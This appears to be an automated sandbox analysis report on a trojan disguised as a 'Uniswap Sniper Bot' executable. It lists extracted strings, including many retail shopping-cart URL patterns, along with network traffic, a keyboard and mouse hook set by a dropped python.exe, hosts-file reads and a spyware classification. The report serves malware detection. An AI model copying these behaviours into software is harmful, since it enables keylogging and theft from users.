Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2282860707.0000000006320000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/questions/3966484/why-does-modulus-operator-return-fractional-number-in-ja
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2282860707.0000000006320000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/questions/55718778/why-abortcontroller-is-not-defined
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2282860707.0000000006320000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/questions/7860392/determine-if-string-is-in-base64-using-javascript
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2281977249.0000000005120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/cart/?$
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2349630212.0000000006120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://tc39.github.io/ecma262/#sec-%typedarray%.of
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2282860707.0000000006320000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://thekevinscott.com/emojis-in-javascript/#writing-a-regular-expression
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2282244557.0000000005920000.00000004.00001000.00020000.00000000.sdmp, Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2349630212.0000000006120000.00000004.00001000.00020000.00000000.sdmp, uniswap-sniper-bot-with-gui.exe, 00000007.00000000.2443020695.00007FF6A7FF5000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://tools.ietf.org/html/rfc3492#section-3.4
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2349630212.0000000006120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/rfc3986#section-3.2.2
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2282860707.0000000006320000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/rfc6455#section-9.1
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2349630212.0000000006120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/rfc7230#section-3.2.6
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2282860707.0000000006320000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://travis-ci.org/joemccann/dillinger)
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2282860707.0000000006320000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://travis-ci.org/joemccann/dillinger.svg?branch=master)
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2282244557.0000000005920000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://tweetnacl.js.org
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2282860707.0000000006320000.00000004.00001000.00020000.00000000.sdmp, Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2349630212.0000000006120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://url.spec.whatwg.org/#concept-url-origin
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2349630212.0000000006120000.00000004.00001000.00020000.00000000.sdmp, uniswap-sniper-bot-with-gui.exe, 00000007.00000000.2443020695.00007FF6A7FF5000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://v8.dev/blog/v8-release-89
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2349630212.0000000006120000.00000004.00001000.00020000.00000000.sdmp, uniswap-sniper-bot-with-gui.exe, 00000007.00000000.2443020695.00007FF6A7FF5000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://wiki.squid-cache.org/SquidFaq/InnerWorkings#What_is_a_half-closed_filedescriptor.3F
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2281977249.0000000005120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.abebooks.com/servlet/(shopbasketpl
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2281977249.0000000005120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.academy.com/shop/cart/?$
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2281977249.0000000005120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.acehardware.com/cart/?$
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2281977249.0000000005120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.adorama.com/als.mvc/cartview/?$
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2281977249.0000000005120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.ae.com/us/en/cart/?$
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2281977249.0000000005120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.altardstate.com/cart/?$
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2281977249.0000000005120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.anthropologie.com/cart/?$
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2281977249.0000000005120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.apple.com/(
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2281977249.0000000005120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.att.com/((
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2281977249.0000000005120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.backcountry.com/Store/cart/cart.jsp/?$
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2281977249.0000000005120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.basspro.com/shop/ajaxorderitemdisplayview/?$
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2281977249.0000000005120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.bathandbodyworks.com/cart/?$
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2281977249.0000000005120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.bedbathandbeyond.com/store/cart/?$
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2281977249.0000000005120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.belk.com/shopping-bag/?$
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2281977249.0000000005120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.bestbuy.com/cart(/
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2281977249.0000000005120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.bhphotovideo.com/(c/)?find/cart.jsp
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2281977249.0000000005120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.bloomingdales.com/my-bag/?$
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2281977249.0000000005120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.boostmobile.com/cart.html/?$
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2281977249.0000000005120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.brownells.com/aspx/store/cart.aspx/?$
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2281977249.0000000005120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.buybuybaby.com/store/cart/?$
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2281977249.0000000005120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.carid.com/cart.php/?$
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2281977249.0000000005120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.chegg.com/shoppingcart/?$
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2282860707.0000000006320000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.cl.cam.ac.uk/%7Emgk25/ucs/utf8_check.c
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2281977249.0000000005120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.containerstore.com/cart/list.htm/?$
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2281977249.0000000005120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.costco.com/checkoutcart(display)?view/?$
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2281977249.0000000005120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.crateandbarrel.com/checkout/cart/?$
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2281977249.0000000005120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.dickssportinggoods.com/orderitemdisplay/?$
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2281977249.0000000005120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.dillards.com/webapp/wcs/stores/servlet/orderitemdisplay/?$
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2281977249.0000000005120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.dsw.com/en/us/shopping-bag/?$
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2349630212.0000000006120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.ecma-international.org/ecma-262/5.1/#sec-15.1.3.4
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2281977249.0000000005120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.etsy.com/(
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2281977249.0000000005120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.eyebuydirect.com/cart/?$
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2281977249.0000000005120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.fingerhut.com/cart/index/?$
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2281977249.0000000005120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.finishline.com/store/cart/cart.jsp/?$
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2281977249.0000000005120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.freepeople.com/cart/?$
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2281977249.0000000005120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.gamestop.com/cart/?$
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2281977249.0000000005120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.groupon.com/(checkout/)?cart/?$
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2281977249.0000000005120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.harborfreight.com/checkout/cart/?$
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2281977249.0000000005120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.hmhco.com/hmhstorefront/cart/?$
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2281977249.0000000005120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.hottopic.com/cart/?$
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2281977249.0000000005120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.hsn.com/checkout/bag/?$
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2349630212.0000000006120000.00000004.00001000.00020000.00000000.sdmp, uniswap-sniper-bot-with-gui.exe, 00000007.00000000.2443020695.00007FF6A7FF5000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://www.iana.org/assignments/tls-extensiontype-values
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2281977249.0000000005120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.jcpenney.com/cart/?$
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2281977249.0000000005120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.jcrew.com/checkout/cart/?$
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2281977249.0000000005120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.joann.com/cart/?$
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2281977249.0000000005120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.kohls.com/checkout/shopping_cart.jsp$
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2281977249.0000000005120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.landsend.com/shopping-bag/?$
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2281977249.0000000005120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.llbean.com/webapp/wcs/stores/servlet/llbshoppingcartdisplay/?$
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2281977249.0000000005120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.lulus.com/checkout/bag/?$
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2281977249.0000000005120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.macys.com/((my-bag)
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2282244557.0000000005920000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.medikoo.com/)
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2281977249.0000000005120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.neimanmarcus.com/checkout/cart.jsp/?$
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2281977249.0000000005120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.nike.com/(
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2281977249.0000000005120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.nordstrom.com/shopping-bag/?$
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2281977249.0000000005120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.officedepot.com/cart/shoppingCart.do/?$
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2281977249.0000000005120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.opticsplanet.com/checkout/cart/?$
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2281977249.0000000005120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.overstock.com/cart/?$
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2281977249.0000000005120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.pacsun.com/on/demandware.store/Sites-pacsun-Site/default/Cart-Show/?$
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2281977249.0000000005120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.petsmart.com/cart/?$
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2281977249.0000000005120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.pier1.com/cart/?$
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2281977249.0000000005120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.pokemoncenter.com/cart/?$
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2281977249.0000000005120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.potterybarn.com/shoppingcart/?$
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2281977249.0000000005120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.qvc.com/checkout/cart.html/?$
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2281977249.0000000005120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.redbubble.com/cart/?$
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2281977249.0000000005120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.rei.com/shoppingcart/?$
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2281977249.0000000005120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.revolve.com/r/shoppingbag.jsp/?$
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2281977249.0000000005120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.rockauto.com/en/cart(/(checkout)?)?$
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2281977249.0000000005120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.saksfifthavenue.com/cart/?$
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2281977249.0000000005120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.samsclub.com/(sams/)?cart/?
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2281977249.0000000005120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.sephora.com/basket/?$
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2281977249.0000000005120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.shutterfly.com/cart/?$
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2281977249.0000000005120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.staples.com/cc/mmx/cart/?$
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2281977249.0000000005120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.sweetwater.com/store/cart.php/?$
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2281977249.0000000005120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.talbots.com/cart/?$
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2281977249.0000000005120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.target.com/(co-)?cart/?$
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2281977249.0000000005120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.teacherspayteachers.com/cart(/checkout)?/?$
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2281977249.0000000005120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.therealreal.com/cart/?$
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2281977249.0000000005120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.tractorsupply.com/tscshoppingcartview/?$
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2281977249.0000000005120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.ulta.com/bag(/(empty
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2281977249.0000000005120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.underarmour.com/(
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2281977249.0000000005120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.urbanoutfitters.com/cart/?$
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2281977249.0000000005120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.vans.com/shop/orderitemdisplay/
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2281977249.0000000005120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.vitalsource.com/(
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2281977249.0000000005120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.walgreens.com/cart/view-ui/?$
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2281977249.0000000005120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.wayfair.com/(
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2281977249.0000000005120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.weightwatchers.com/us/shop/checkout/cart/?$
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2281977249.0000000005120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.westelm.com/shoppingcart/?$
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2281977249.0000000005120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.wiley.com/(
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2281977249.0000000005120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.williams-sonoma.com/shoppingcart/?$
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2282860707.0000000006320000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/channel/UCdRihNiJ0tJ7xpFGKcwZcdQ
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2281977249.0000000005120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.zappos.com/cart/?$
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2281977249.0000000005120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.zennioptical.com/shoppingCart/?$
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2282860707.0000000006320000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://zod.dev

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443

Source: unknown

HTTPS traffic detected: 151.101.0.223:443 -> 192.168.2.5:50002 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Installs a global keyboard hook

Source: C:\Users\user\.pyp\python.exe	Windows user hook set: 0 mouse low level C:\Users\user\.pyp\python.exe
Source: C:\Users\user\.pyp\python.exe	Windows user hook set: 0 keyboard low level C:\Users\user\.pyp\python.exe

Source: C:\Users\user\.pyp\python.exe

Windows user hook set: 0 mouse low level C:\Users\user\.pyp\python.exe

Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2350544276.0000000006FB9000.00000004.00001000.00020000.00000000.sdmp

Binary or memory string: GetRawInputData

memstr_b12845e1-c

Source: C:\Windows\System32\tar.exe

File created: C:\Users\user\.pyp\DLLs\python_tools.cat

Jump to dropped file

Source: C:\Users\user\Desktop\Uniswap Sniper Bot With GUI.exe

Process token adjusted: Security

Jump to behavior

Source: unicodedata.pyd.21.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: _overlapped.pyd.21.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS

Source: libGLESv2.dll.0.dr	Static PE information: Number of sections : 12 > 10
Source: vulkan-1.dll.0.dr	Static PE information: Number of sections : 12 > 10
Source: ffmpeg.dll.0.dr	Static PE information: Number of sections : 11 > 10
Source: vulkan-1.dll0.0.dr	Static PE information: Number of sections : 12 > 10
Source: libEGL.dll.0.dr	Static PE information: Number of sections : 12 > 10
Source: vk_swiftshader.dll0.0.dr	Static PE information: Number of sections : 12 > 10
Source: uniswap-sniper-bot-with-gui.exe0.0.dr	Static PE information: Number of sections : 15 > 10
Source: vk_swiftshader.dll.0.dr	Static PE information: Number of sections : 12 > 10
Source: libGLESv2.dll0.0.dr	Static PE information: Number of sections : 12 > 10
Source: libEGL.dll0.0.dr	Static PE information: Number of sections : 12 > 10
Source: uniswap-sniper-bot-with-gui.exe.0.dr	Static PE information: Number of sections : 15 > 10
Source: ffmpeg.dll0.0.dr	Static PE information: Number of sections : 11 > 10

Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2287080680.0000000006140000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamed3dcompiler_47.dllj% vs Uniswap Sniper Bot With GUI.exe
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2289742502.0000000006120000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamelibGLESv2.dllb! vs Uniswap Sniper Bot With GUI.exe
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2351125703.0000000007420000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameX vs Uniswap Sniper Bot With GUI.exe
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2349630212.0000000006120000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamevk_swiftshader.dll, vs Uniswap Sniper Bot With GUI.exe
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2354669303.0000000004F2F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamed3dcompiler_47.dllj% vs Uniswap Sniper Bot With GUI.exe

Source: Uniswap Sniper Bot With GUI.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: classification engine

Classification label: mal72.troj.spyw.winEXE@54/1814@5/5

Source: C:\Users\user\Desktop\Uniswap Sniper Bot With GUI.exe

File created: C:\Users\user\AppData\Local\Programs

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7264:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1172:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7676:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2668:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5700:120:WilError_03
Source: C:\Users\user\Desktop\Uniswap Sniper Bot With GUI.exe	Mutant created: \Sessions\1\BaseNamedObjects\deed1b2d-6a1c-5708-934a-7202254448da
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8120:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6284:120:WilError_03

Source: C:\Users\user\Desktop\Uniswap Sniper Bot With GUI.exe

File created: C:\Users\user\AppData\Local\Temp\nst5273.tmp

Jump to behavior

Source: Uniswap Sniper Bot With GUI.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\SysWOW64\tasklist.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'UNISWAP-SNIPER-BOT-WITH-GUI.EXE'

Source: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe	File read: C:\Windows\System32\drivers\etc\hosts

Source: uniswap-sniper-bot-with-gui.exe, 00000007.00000000.2443020695.00007FF6A7C19000.00000002.00000001.01000000.0000000D.sdmp	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2350544276.0000000006FB9000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: SELECT name FROM sqlite_master WHERE type='table';
Source: uniswap-sniper-bot-with-gui.exe, 00000007.00000000.2443020695.00007FF6A7C19000.00000002.00000001.01000000.0000000D.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: uniswap-sniper-bot-with-gui.exe, 00000007.00000000.2443020695.00007FF6A7C19000.00000002.00000001.01000000.0000000D.sdmp	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
